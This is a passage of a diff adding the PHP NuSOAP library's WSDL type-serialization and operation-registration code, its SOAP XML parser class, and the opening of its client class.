(is_object($value)) { + $xvalue = get_object_vars($value); + } else { + $this->debug("value is neither an array nor an object for XML Schema type $ns:$uqType"); + $xvalue = array(); + } + // toggle whether all elements are present - ideally should validate against schema + if (count($typeDef['elements']) != count($xvalue)){ + $optionals = true; + } + foreach ($typeDef['elements'] as $eName => $attrs) { + if (!isset($xvalue[$eName])) { + if (isset($attrs['default'])) { + $xvalue[$eName] = $attrs['default']; + $this->debug('use default value of ' . $xvalue[$eName] . ' for element ' . $eName); + } + } + // if user took advantage of a minOccurs=0, then only serialize named parameters + if (isset($optionals) + && (!isset($xvalue[$eName])) + && ( (!isset($attrs['nillable'])) || $attrs['nillable'] != 'true') + ){ + if (isset($attrs['minOccurs']) && $attrs['minOccurs'] <> '0') { + $this->debug("apparent error: no value provided for element $eName with minOccurs=" . $attrs['minOccurs']); + } + // do nothing + $this->debug("no value provided for complexType element $eName and element is not nillable, so serialize nothing"); + } else { + // get value + if (isset($xvalue[$eName])) { + $v = $xvalue[$eName]; + } else { + $v = null; + } + if (isset($attrs['form'])) { + $unqualified = ($attrs['form'] == 'unqualified'); + } else { + $unqualified = false; + } + if (isset($attrs['maxOccurs']) && ($attrs['maxOccurs'] == 'unbounded' || $attrs['maxOccurs'] > 1) && isset($v) && is_array($v) && $this->isArraySimpleOrStruct($v) == 'arraySimple') { + $vv = $v; + foreach ($vv as $k => $v) { + if (isset($attrs['type']) || isset($attrs['ref'])) { + // serialize schema-defined type + $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); + } else { + // serialize generic type (can this ever really happen?) + $this->debug("calling serialize_val() for $v, $eName, false, false, false, false, $use"); + $xml .= $this->serialize_val($v, $eName, false, false, false, false, $use); + } + } + } else { + if (is_null($v) && isset($attrs['minOccurs']) && $attrs['minOccurs'] == '0') { + // do nothing + } elseif (is_null($v) && isset($attrs['nillable']) && $attrs['nillable'] == 'true') { + // TODO: serialize a nil correctly, but for now serialize schema-defined type + $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); + } elseif (isset($attrs['type']) || isset($attrs['ref'])) { + // serialize schema-defined type + $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); + } else { + // serialize generic type (can this ever really happen?) + $this->debug("calling serialize_val() for $v, $eName, false, false, false, false, $use"); + $xml .= $this->serialize_val($v, $eName, false, false, false, false, $use); + } + } + } + } + } else { + $this->debug("no elements to serialize for XML Schema type $ns:$uqType"); + } + return $xml; + } + + /** + * adds an XML Schema complex type to the WSDL types + * + * @param string $name + * @param string $typeClass (complexType|simpleType|attribute) + * @param string $phpType currently supported are array and struct (php assoc array) + * @param string $compositor (all|sequence|choice) + * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param array $elements e.g. array ( name => array(name=>'',type=>'') ) + * @param array $attrs e.g. array(array('ref'=>'SOAP-ENC:arrayType','wsdl:arrayType'=>'xsd:string[]')) + * @param string $arrayType as namespace:name (xsd:string) + * @see nusoap_xmlschema + * @access public + */ + function addComplexType($name,$typeClass='complexType',$phpType='array',$compositor='',$restrictionBase='',$elements=array(),$attrs=array(),$arrayType='') { + if (count($elements) > 0) { + $eElements = array(); + foreach($elements as $n => $e){ + // expand each element + $ee = array(); + foreach ($e as $k => $v) { + $k = strpos($k,':') ? $this->expandQname($k) : $k; + $v = strpos($v,':') ? $this->expandQname($v) : $v; + $ee[$k] = $v; + } + $eElements[$n] = $ee; + } + $elements = $eElements; + } + + if (count($attrs) > 0) { + foreach($attrs as $n => $a){ + // expand each attribute + foreach ($a as $k => $v) { + $k = strpos($k,':') ? $this->expandQname($k) : $k; + $v = strpos($v,':') ? $this->expandQname($v) : $v; + $aa[$k] = $v; + } + $eAttrs[$n] = $aa; + } + $attrs = $eAttrs; + } + + $restrictionBase = strpos($restrictionBase,':') ? $this->expandQname($restrictionBase) : $restrictionBase; + $arrayType = strpos($arrayType,':') ? $this->expandQname($arrayType) : $arrayType; + + $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; + $this->schemas[$typens][0]->addComplexType($name,$typeClass,$phpType,$compositor,$restrictionBase,$elements,$attrs,$arrayType); + } + + /** + * adds an XML Schema simple type to the WSDL types + * + * @param string $name + * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param string $typeClass (should always be simpleType) + * @param string $phpType (should always be scalar) + * @param array $enumeration array of values + * @see nusoap_xmlschema + * @access public + */ + function addSimpleType($name, $restrictionBase='', $typeClass='simpleType', $phpType='scalar', $enumeration=array()) { + $restrictionBase = strpos($restrictionBase,':') ? $this->expandQname($restrictionBase) : $restrictionBase; + + $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; + $this->schemas[$typens][0]->addSimpleType($name, $restrictionBase, $typeClass, $phpType, $enumeration); + } + + /** + * adds an element to the WSDL types + * + * @param array $attrs attributes that must include name and type + * @see nusoap_xmlschema + * @access public + */ + function addElement($attrs) { + $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; + $this->schemas[$typens][0]->addElement($attrs); + } + + /** + * register an operation with the server + * + * @param string $name operation (method) name + * @param array $in assoc array of input values: key = param name, value = param type + * @param array $out assoc array of output values: key = param name, value = param type + * @param string $namespace optional The namespace for the operation + * @param string $soapaction optional The soapaction for the operation + * @param string $style (rpc|document) optional The style for the operation Note: when 'document' is specified, parameter and return wrappers are created for you automatically + * @param string $use (encoded|literal) optional The use for the parameters (cannot mix right now) + * @param string $documentation optional The description to include in the WSDL + * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) + * @access public + */ + function addOperation($name, $in = false, $out = false, $namespace = false, $soapaction = false, $style = 'rpc', $use = 'encoded', $documentation = '', $encodingStyle = ''){ + if ($use == 'encoded' && $encodingStyle == '') { + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + } + + if ($style == 'document') { + $elements = array(); + foreach ($in as $n => $t) { + $elements[$n] = array('name' => $n, 'type' => $t, 'form' => 'unqualified'); + } + $this->addComplexType($name . 'RequestType', 'complexType', 'struct', 'all', '', $elements); + $this->addElement(array('name' => $name, 'type' => $name . 'RequestType')); + $in = array('parameters' => 'tns:' . $name . '^'); + + $elements = array(); + foreach ($out as $n => $t) { + $elements[$n] = array('name' => $n, 'type' => $t, 'form' => 'unqualified'); + } + $this->addComplexType($name . 'ResponseType', 'complexType', 'struct', 'all', '', $elements); + $this->addElement(array('name' => $name . 'Response', 'type' => $name . 'ResponseType', 'form' => 'qualified')); + $out = array('parameters' => 'tns:' . $name . 'Response' . '^'); + } + + // get binding + $this->bindings[ $this->serviceName . 'Binding' ]['operations'][$name] = + array( + 'name' => $name, + 'binding' => $this->serviceName . 'Binding', + 'endpoint' => $this->endpoint, + 'soapAction' => $soapaction, + 'style' => $style, + 'input' => array( + 'use' => $use, + 'namespace' => $namespace, + 'encodingStyle' => $encodingStyle, + 'message' => $name . 'Request', + 'parts' => $in), + 'output' => array( + 'use' => $use, + 'namespace' => $namespace, + 'encodingStyle' => $encodingStyle, + 'message' => $name . 'Response', + 'parts' => $out), + 'namespace' => $namespace, + 'transport' => 'http://schemas.xmlsoap.org/soap/http', + 'documentation' => $documentation); + // add portTypes + // add messages + if($in) + { + foreach($in as $pName => $pType) + { + if(strpos($pType,':')) { + $pType = $this->getNamespaceFromPrefix($this->getPrefix($pType)).":".$this->getLocalPart($pType); + } + $this->messages[$name.'Request'][$pName] = $pType; + } + } else { + $this->messages[$name.'Request']= '0'; + } + if($out) + { + foreach($out as $pName => $pType) + { + if(strpos($pType,':')) { + $pType = $this->getNamespaceFromPrefix($this->getPrefix($pType)).":".$this->getLocalPart($pType); + } + $this->messages[$name.'Response'][$pName] = $pType; + } + } else { + $this->messages[$name.'Response']= '0'; + } + return true; + } +} +?> +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_parser extends nusoap_base { + + var $xml = ''; + var $xml_encoding = ''; + var $method = ''; + var $root_struct = ''; + var $root_struct_name = ''; + var $root_struct_namespace = ''; + var $root_header = ''; + var $document = ''; // incoming SOAP body (text) + // determines where in the message we are (envelope,header,body,method) + var $status = ''; + var $position = 0; + var $depth = 0; + var $default_namespace = ''; + var $namespaces = array(); + var $message = array(); + var $parent = ''; + var $fault = false; + var $fault_code = ''; + var $fault_str = ''; + var $fault_detail = ''; + var $depth_array = array(); + var $debug_flag = true; + var $soapresponse = NULL; // parsed SOAP Body + var $soapheader = NULL; // parsed SOAP Header + var $responseHeaders = ''; // incoming SOAP headers (text) + var $body_position = 0; + // for multiref parsing: + // array of id => pos + var $ids = array(); + // array of id => hrefs => pos + var $multirefs = array(); + // toggle for auto-decoding element content + var $decode_utf8 = true; + + /** + * constructor that actually does the parsing + * + * @param string $xml SOAP message + * @param string $encoding character encoding scheme of message + * @param string $method method for which XML is parsed (unused?) + * @param string $decode_utf8 whether to decode UTF-8 to ISO-8859-1 + * @access public + */ + function nusoap_parser($xml,$encoding='UTF-8',$method='',$decode_utf8=true){ + parent::nusoap_base(); + $this->xml = $xml; + $this->xml_encoding = $encoding; + $this->method = $method; + $this->decode_utf8 = $decode_utf8; + + // Check whether content has been read. + if(!empty($xml)){ + // Check XML encoding + $pos_xml = strpos($xml, '', $pos_xml + 2) - $pos_xml + 1); + if (preg_match("/encoding=[\"']([^\"']*)[\"']/", $xml_decl, $res)) { + $xml_encoding = $res[1]; + if (strtoupper($xml_encoding) != $encoding) { + $err = "Charset from HTTP Content-Type '" . $encoding . "' does not match encoding from XML declaration '" . $xml_encoding . "'"; + $this->debug($err); + if ($encoding != 'ISO-8859-1' || strtoupper($xml_encoding) != 'UTF-8') { + $this->setError($err); + return; + } + // when HTTP says ISO-8859-1 (the default) and XML says UTF-8 (the typical), assume the other endpoint is just sloppy and proceed + } else { + $this->debug('Charset from HTTP Content-Type matches encoding from XML declaration'); + } + } else { + $this->debug('No encoding specified in XML declaration'); + } + } else { + $this->debug('No XML declaration'); + } + $this->debug('Entering nusoap_parser(), length='.strlen($xml).', encoding='.$encoding); + // Create an XML parser - why not xml_parser_create_ns? + $this->parser = xml_parser_create($this->xml_encoding); + // Set the options for parsing the XML data. + //xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1); + xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); + xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, $this->xml_encoding); + // Set the object for the parser. + xml_set_object($this->parser, $this); + // Set the element handlers for the parser. + xml_set_element_handler($this->parser, 'start_element','end_element'); + xml_set_character_data_handler($this->parser,'character_data'); + + // Parse the XML file. + if(!xml_parse($this->parser,$xml,true)){ + // Display an error message. + $err = sprintf('XML error parsing SOAP payload on line %d: %s', + xml_get_current_line_number($this->parser), + xml_error_string(xml_get_error_code($this->parser))); + $this->debug($err); + $this->debug("XML payload:\n" . $xml); + $this->setError($err); + } else { + $this->debug('in nusoap_parser ctor, message:'); + $this->appendDebug($this->varDump($this->message)); + $this->debug('parsed successfully, found root struct: '.$this->root_struct.' of name '.$this->root_struct_name); + // get final value + $this->soapresponse = $this->message[$this->root_struct]['result']; + // get header value + if($this->root_header != '' && isset($this->message[$this->root_header]['result'])){ + $this->soapheader = $this->message[$this->root_header]['result']; + } + // resolve hrefs/ids + if(sizeof($this->multirefs) > 0){ + foreach($this->multirefs as $id => $hrefs){ + $this->debug('resolving multirefs for id: '.$id); + $idVal = $this->buildVal($this->ids[$id]); + if (is_array($idVal) && isset($idVal['!id'])) { + unset($idVal['!id']); + } + foreach($hrefs as $refPos => $ref){ + $this->debug('resolving href at pos '.$refPos); + $this->multirefs[$id][$refPos] = $idVal; + } + } + } + } + xml_parser_free($this->parser); + } else { + $this->debug('xml was empty, didn\'t parse!'); + $this->setError('xml was empty, didn\'t parse!'); + } + } + + /** + * start-element handler + * + * @param resource $parser XML parser object + * @param string $name element name + * @param array $attrs associative array of attributes + * @access private + */ + function start_element($parser, $name, $attrs) { + // position in a total number of elements, starting from 0 + // update class level pos + $pos = $this->position++; + // and set mine + $this->message[$pos] = array('pos' => $pos,'children'=>'','cdata'=>''); + // depth = how many levels removed from root? + // set mine as current global depth and increment global depth value + $this->message[$pos]['depth'] = $this->depth++; + + // else add self as child to whoever the current parent is + if($pos != 0){ + $this->message[$this->parent]['children'] .= '|'.$pos; + } + // set my parent + $this->message[$pos]['parent'] = $this->parent; + // set self as current parent + $this->parent = $pos; + // set self as current value for this depth + $this->depth_array[$this->depth] = $pos; + // get element prefix + if(strpos($name,':')){ + // get ns prefix + $prefix = substr($name,0,strpos($name,':')); + // get unqualified name + $name = substr(strstr($name,':'),1); + } + // set status + if ($name == 'Envelope' && $this->status == '') { + $this->status = 'envelope'; + } elseif ($name == 'Header' && $this->status == 'envelope') { + $this->root_header = $pos; + $this->status = 'header'; + } elseif ($name == 'Body' && $this->status == 'envelope'){ + $this->status = 'body'; + $this->body_position = $pos; + // set method + } elseif($this->status == 'body' && $pos == ($this->body_position+1)) { + $this->status = 'method'; + $this->root_struct_name = $name; + $this->root_struct = $pos; + $this->message[$pos]['type'] = 'struct'; + $this->debug("found root struct $this->root_struct_name, pos $this->root_struct"); + } + // set my status + $this->message[$pos]['status'] = $this->status; + // set name + $this->message[$pos]['name'] = htmlspecialchars($name); + // set attrs + $this->message[$pos]['attrs'] = $attrs; + + // loop through atts, logging ns and type declarations + $attstr = ''; + foreach($attrs as $key => $value){ + $key_prefix = $this->getPrefix($key); + $key_localpart = $this->getLocalPart($key); + // if ns declarations, add to class level array of valid namespaces + if($key_prefix == 'xmlns'){ + if(preg_match('/^http:\/\/www.w3.org\/[0-9]{4}\/XMLSchema$/',$value)){ + $this->XMLSchemaVersion = $value; + $this->namespaces['xsd'] = $this->XMLSchemaVersion; + $this->namespaces['xsi'] = $this->XMLSchemaVersion.'-instance'; + } + $this->namespaces[$key_localpart] = $value; + // set method namespace + if($name == $this->root_struct_name){ + $this->methodNamespace = $value; + } + // if it's a type declaration, set type + } elseif($key_localpart == 'type'){ + if (isset($this->message[$pos]['type']) && $this->message[$pos]['type'] == 'array') { + // do nothing: already processed arrayType + } else { + $value_prefix = $this->getPrefix($value); + $value_localpart = $this->getLocalPart($value); + $this->message[$pos]['type'] = $value_localpart; + $this->message[$pos]['typePrefix'] = $value_prefix; + if(isset($this->namespaces[$value_prefix])){ + $this->message[$pos]['type_namespace'] = $this->namespaces[$value_prefix]; + } else if(isset($attrs['xmlns:'.$value_prefix])) { + $this->message[$pos]['type_namespace'] = $attrs['xmlns:'.$value_prefix]; + } + // should do something here with the namespace of specified type? + } + } elseif($key_localpart == 'arrayType'){ + $this->message[$pos]['type'] = 'array'; + /* do arrayType ereg here + [1] arrayTypeValue ::= atype asize + [2] atype ::= QName rank* + [3] rank ::= '[' (',')* ']' + [4] asize ::= '[' length~ ']' + [5] length ::= nextDimension* Digit+ + [6] nextDimension ::= Digit+ ',' + */ + $expr = '/([A-Za-z0-9_]+):([A-Za-z]+[A-Za-z0-9_]+)\[([0-9]+),?([0-9]*)\]/'; + if(preg_match($expr,$value,$regs)){ + $this->message[$pos]['typePrefix'] = $regs[1]; + $this->message[$pos]['arrayTypePrefix'] = $regs[1]; + if (isset($this->namespaces[$regs[1]])) { + $this->message[$pos]['arrayTypeNamespace'] = $this->namespaces[$regs[1]]; + } else if (isset($attrs['xmlns:'.$regs[1]])) { + $this->message[$pos]['arrayTypeNamespace'] = $attrs['xmlns:'.$regs[1]]; + } + $this->message[$pos]['arrayType'] = $regs[2]; + $this->message[$pos]['arraySize'] = $regs[3]; + $this->message[$pos]['arrayCols'] = $regs[4]; + } + // specifies nil value (or not) + } elseif ($key_localpart == 'nil'){ + $this->message[$pos]['nil'] = ($value == 'true' || $value == '1'); + // some other attribute + } elseif ($key != 'href' && $key != 'xmlns' && $key_localpart != 'encodingStyle' && $key_localpart != 'root') { + $this->message[$pos]['xattrs']['!' . $key] = $value; + } + + if ($key == 'xmlns') { + $this->default_namespace = $value; + } + // log id + if($key == 'id'){ + $this->ids[$value] = $pos; + } + // root + if($key_localpart == 'root' && $value == 1){ + $this->status = 'method'; + $this->root_struct_name = $name; + $this->root_struct = $pos; + $this->debug("found root struct $this->root_struct_name, pos $pos"); + } + // for doclit + $attstr .= " $key=\"$value\""; + } + // get namespace - must be done after namespace atts are processed + if(isset($prefix)){ + $this->message[$pos]['namespace'] = $this->namespaces[$prefix]; + $this->default_namespace = $this->namespaces[$prefix]; + } else { + $this->message[$pos]['namespace'] = $this->default_namespace; + } + if($this->status == 'header'){ + if ($this->root_header != $pos) { + $this->responseHeaders .= "<" . (isset($prefix) ? $prefix . ':' : '') . "$name$attstr>"; + } + } elseif($this->root_struct_name != ''){ + $this->document .= "<" . (isset($prefix) ? $prefix . ':' : '') . "$name$attstr>"; + } + } + + /** + * end-element handler + * + * @param resource $parser XML parser object + * @param string $name element name + * @access private + */ + function end_element($parser, $name) { + // position of current element is equal to the last value left in depth_array for my depth + $pos = $this->depth_array[$this->depth--]; + + // get element prefix + if(strpos($name,':')){ + // get ns prefix + $prefix = substr($name,0,strpos($name,':')); + // get unqualified name + $name = substr(strstr($name,':'),1); + } + + // build to native type + if(isset($this->body_position) && $pos > $this->body_position){ + // deal w/ multirefs + if(isset($this->message[$pos]['attrs']['href'])){ + // get id + $id = substr($this->message[$pos]['attrs']['href'],1); + // add placeholder to href array + $this->multirefs[$id][$pos] = 'placeholder'; + // add set a reference to it as the result value + $this->message[$pos]['result'] =& $this->multirefs[$id][$pos]; + // build complexType values + } elseif($this->message[$pos]['children'] != ''){ + // if result has already been generated (struct/array) + if(!isset($this->message[$pos]['result'])){ + $this->message[$pos]['result'] = $this->buildVal($pos); + } + // build complexType values of attributes and possibly simpleContent + } elseif (isset($this->message[$pos]['xattrs'])) { + if (isset($this->message[$pos]['nil']) && $this->message[$pos]['nil']) { + $this->message[$pos]['xattrs']['!'] = null; + } elseif (isset($this->message[$pos]['cdata']) && trim($this->message[$pos]['cdata']) != '') { + if (isset($this->message[$pos]['type'])) { + $this->message[$pos]['xattrs']['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + } else { + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $this->message[$pos]['xattrs']['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + } else { + $this->message[$pos]['xattrs']['!'] = $this->message[$pos]['cdata']; + } + } + } + $this->message[$pos]['result'] = $this->message[$pos]['xattrs']; + // set value of simpleType (or nil complexType) + } else { + //$this->debug('adding data for scalar value '.$this->message[$pos]['name'].' of value '.$this->message[$pos]['cdata']); + if (isset($this->message[$pos]['nil']) && $this->message[$pos]['nil']) { + $this->message[$pos]['xattrs']['!'] = null; + } elseif (isset($this->message[$pos]['type'])) { + $this->message[$pos]['result'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + } else { + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $this->message[$pos]['result'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + } else { + $this->message[$pos]['result'] = $this->message[$pos]['cdata']; + } + } + + /* add value to parent's result, if parent is struct/array + $parent = $this->message[$pos]['parent']; + if($this->message[$parent]['type'] != 'map'){ + if(strtolower($this->message[$parent]['type']) == 'array'){ + $this->message[$parent]['result'][] = $this->message[$pos]['result']; + } else { + $this->message[$parent]['result'][$this->message[$pos]['name']] = $this->message[$pos]['result']; + } + } + */ + } + } + + // for doclit + if($this->status == 'header'){ + if ($this->root_header != $pos) { + $this->responseHeaders .= ""; + } + } elseif($pos >= $this->root_struct){ + $this->document .= ""; + } + // switch status + if ($pos == $this->root_struct){ + $this->status = 'body'; + $this->root_struct_namespace = $this->message[$pos]['namespace']; + } elseif ($pos == $this->root_header) { + $this->status = 'envelope'; + } elseif ($name == 'Body' && $this->status == 'body') { + $this->status = 'envelope'; + } elseif ($name == 'Header' && $this->status == 'header') { // will never happen + $this->status = 'envelope'; + } elseif ($name == 'Envelope' && $this->status == 'envelope') { + $this->status = ''; + } + // set parent back to my parent + $this->parent = $this->message[$pos]['parent']; + } + + /** + * element content handler + * + * @param resource $parser XML parser object + * @param string $data element content + * @access private + */ + function character_data($parser, $data){ + $pos = $this->depth_array[$this->depth]; + if ($this->xml_encoding=='UTF-8'){ + // TODO: add an option to disable this for folks who want + // raw UTF-8 that, e.g., might not map to iso-8859-1 + // TODO: this can also be handled with xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, "ISO-8859-1"); + if($this->decode_utf8){ + $data = utf8_decode($data); + } + } + $this->message[$pos]['cdata'] .= $data; + // for doclit + if($this->status == 'header'){ + $this->responseHeaders .= $data; + } else { + $this->document .= $data; + } + } + + /** + * get the parsed message (SOAP Body) + * + * @return mixed + * @access public + * @deprecated use get_soapbody instead + */ + function get_response(){ + return $this->soapresponse; + } + + /** + * get the parsed SOAP Body (NULL if there was none) + * + * @return mixed + * @access public + */ + function get_soapbody(){ + return $this->soapresponse; + } + + /** + * get the parsed SOAP Header (NULL if there was none) + * + * @return mixed + * @access public + */ + function get_soapheader(){ + return $this->soapheader; + } + + /** + * get the unparsed SOAP Header + * + * @return string XML or empty if no Header + * @access public + */ + function getHeaders(){ + return $this->responseHeaders; + } + + /** + * decodes simple types into PHP variables + * + * @param string $value value to decode + * @param string $type XML type to decode + * @param string $typens XML type namespace to decode + * @return mixed PHP value + * @access private + */ + function decodeSimple($value, $type, $typens) { + // TODO: use the namespace! + if ((!isset($type)) || $type == 'string' || $type == 'long' || $type == 'unsignedLong') { + return (string) $value; + } + if ($type == 'int' || $type == 'integer' || $type == 'short' || $type == 'byte') { + return (int) $value; + } + if ($type == 'float' || $type == 'double' || $type == 'decimal') { + return (double) $value; + } + if ($type == 'boolean') { + if (strtolower($value) == 'false' || strtolower($value) == 'f') { + return false; + } + return (boolean) $value; + } + if ($type == 'base64' || $type == 'base64Binary') { + $this->debug('Decode base64 value'); + return base64_decode($value); + } + // obscure numeric types + if ($type == 'nonPositiveInteger' || $type == 'negativeInteger' + || $type == 'nonNegativeInteger' || $type == 'positiveInteger' + || $type == 'unsignedInt' + || $type == 'unsignedShort' || $type == 'unsignedByte') { + return (int) $value; + } + // bogus: parser treats array with no elements as a simple type + if ($type == 'array') { + return array(); + } + // everything else + return (string) $value; + } + + /** + * builds response structures for compound values (arrays/structs) + * and scalars + * + * @param integer $pos position in node tree + * @return mixed PHP value + * @access private + */ + function buildVal($pos){ + if(!isset($this->message[$pos]['type'])){ + $this->message[$pos]['type'] = ''; + } + $this->debug('in buildVal() for '.$this->message[$pos]['name']."(pos $pos) of type ".$this->message[$pos]['type']); + // if there are children... + if($this->message[$pos]['children'] != ''){ + $this->debug('in buildVal, there are children'); + $children = explode('|',$this->message[$pos]['children']); + array_shift($children); // knock off empty + // md array + if(isset($this->message[$pos]['arrayCols']) && $this->message[$pos]['arrayCols'] != ''){ + $r=0; // rowcount + $c=0; // colcount + foreach($children as $child_pos){ + $this->debug("in buildVal, got an MD array element: $r, $c"); + $params[$r][] = $this->message[$child_pos]['result']; + $c++; + if($c == $this->message[$pos]['arrayCols']){ + $c = 0; + $r++; + } + } + // array + } elseif($this->message[$pos]['type'] == 'array' || $this->message[$pos]['type'] == 'Array'){ + $this->debug('in buildVal, adding array '.$this->message[$pos]['name']); + foreach($children as $child_pos){ + $params[] = &$this->message[$child_pos]['result']; + } + // apache Map type: java hashtable + } elseif($this->message[$pos]['type'] == 'Map' && $this->message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap'){ + $this->debug('in buildVal, Java Map '.$this->message[$pos]['name']); + foreach($children as $child_pos){ + $kv = explode("|",$this->message[$child_pos]['children']); + $params[$this->message[$kv[1]]['result']] = &$this->message[$kv[2]]['result']; + } + // generic compound type + //} elseif($this->message[$pos]['type'] == 'SOAPStruct' || $this->message[$pos]['type'] == 'struct') { + } else { + // Apache Vector type: treat as an array + $this->debug('in buildVal, adding Java Vector or generic compound type '.$this->message[$pos]['name']); + if ($this->message[$pos]['type'] == 'Vector' && $this->message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap') { + $notstruct = 1; + } else { + $notstruct = 0; + } + // + foreach($children as $child_pos){ + if($notstruct){ + $params[] = &$this->message[$child_pos]['result']; + } else { + if (isset($params[$this->message[$child_pos]['name']])) { + // de-serialize repeated element name into an array + if ((!is_array($params[$this->message[$child_pos]['name']])) || (!isset($params[$this->message[$child_pos]['name']][0]))) { + $params[$this->message[$child_pos]['name']] = array($params[$this->message[$child_pos]['name']]); + } + $params[$this->message[$child_pos]['name']][] = &$this->message[$child_pos]['result']; + } else { + $params[$this->message[$child_pos]['name']] = &$this->message[$child_pos]['result']; + } + } + } + } + if (isset($this->message[$pos]['xattrs'])) { + $this->debug('in buildVal, handling attributes'); + foreach ($this->message[$pos]['xattrs'] as $n => $v) { + $params[$n] = $v; + } + } + // handle simpleContent + if (isset($this->message[$pos]['cdata']) && trim($this->message[$pos]['cdata']) != '') { + $this->debug('in buildVal, handling simpleContent'); + if (isset($this->message[$pos]['type'])) { + $params['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + } else { + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $params['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + } else { + $params['!'] = $this->message[$pos]['cdata']; + } + } + } + $ret = is_array($params) ? $params : array(); + $this->debug('in buildVal, return:'); + $this->appendDebug($this->varDump($ret)); + return $ret; + } else { + $this->debug('in buildVal, no children, building scalar'); + $cdata = isset($this->message[$pos]['cdata']) ? $this->message[$pos]['cdata'] : ''; + if (isset($this->message[$pos]['type'])) { + $ret = $this->decodeSimple($cdata, $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + $this->debug("in buildVal, return: $ret"); + return $ret; + } + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $ret = $this->decodeSimple($cdata, $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + $this->debug("in buildVal, return: $ret"); + return $ret; + } + $ret = $this->message[$pos]['cdata']; + $this->debug("in buildVal, return: $ret"); + return $ret; + } + } +} + +/** + * Backward compatibility + */ +class soap_parser extends nusoap_parser { +} + +?>call( string methodname [ ,array parameters] ); +* +* // bye bye client +* unset($soapclient); +* +* @author Dietrich Ayala +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_client extends nusoap_base { + + var $username = ''; // Username for HTTP authentication + var $password = ''; // Password for HTTP authentication + var $authtype = ''; // Type of HTTP authentication + var $certRequest = array(); // Certificate for HTTP SSL authentication + var $requestHeaders = false; // SOAP headers in request (text) + var $responseHeaders = ''; // SOAP headers from response (incomplete namespace resolution) (text) + var $responseHeader = NULL; // SOAP Header from response (parsed) + var $document = ''; // SOAP body response portion (incomplete namespace resolution) (text) + var $endpoint; + var $forceEndpoint = ''; // overrides WSDL endpoint + var $proxyhost = ''; + var $proxyport = ''; + var $proxyusername = ''; + var $proxypassword = ''; + var $portName = ''; // port name to use in WSDL + var $xml_encoding = ''; // character set encoding of incoming (response) messages + var $http_encoding = false; + var $timeout = 0; // HTTP connection timeout + var $response_timeout = 30; // HTTP response timeout + var $endpointType = ''; // soap|wsdl, empty for WSDL initialization error + var $persistentConnection = false; + var $defaultRpcParams = false; // This is no longer used + var $request = ''; // HTTP request + var $response = ''; // HTTP response + var $responseData = ''; // SOAP payload of response + var $cookies = array(); // Cookies from response or for request + var $decode_utf8 = true; // toggles whether the parser decodes element content w/ utf8_decode() + var $operations = array(); // WSDL operations, empty for WSDL initialization error + var $curl_options = array(); // User-specified cURL options + var $bindingType = ''; // WSDL operation binding type + var $use_curl = false; // whether to always try to use cURL + + /* + * fault related variables + */ + /** + * @var fault + * @access public + */ + var $fault; + /** + * @var faultcode + * @access public + */ + var $faultcode; + /** + * @var faultstring + * @access public + */ + var $faultstring; + /** + * @var faultdetail + * @access public + */ + var $faultdetail; + + /** + * constructor + * + * @param mixed $endpoint SOAP server or WSDL URL (string), or wsdl instance (object) + * @param mixed $wsdl optional, set to 'wsdl' or true if using WSDL + * @param string $proxyhost optional + * @param string $proxyport optional + * @param string $proxyusername optional + * @param string $proxypassword optional + * @param integer $timeout set the connection timeout + * @param integer $response_timeout set the response timeout + * @param string $portName optional portName in WSDL document + * @access public + */ + function nusoap_client($endpoint,$wsdl = false,$proxyhost = false,$proxyport = 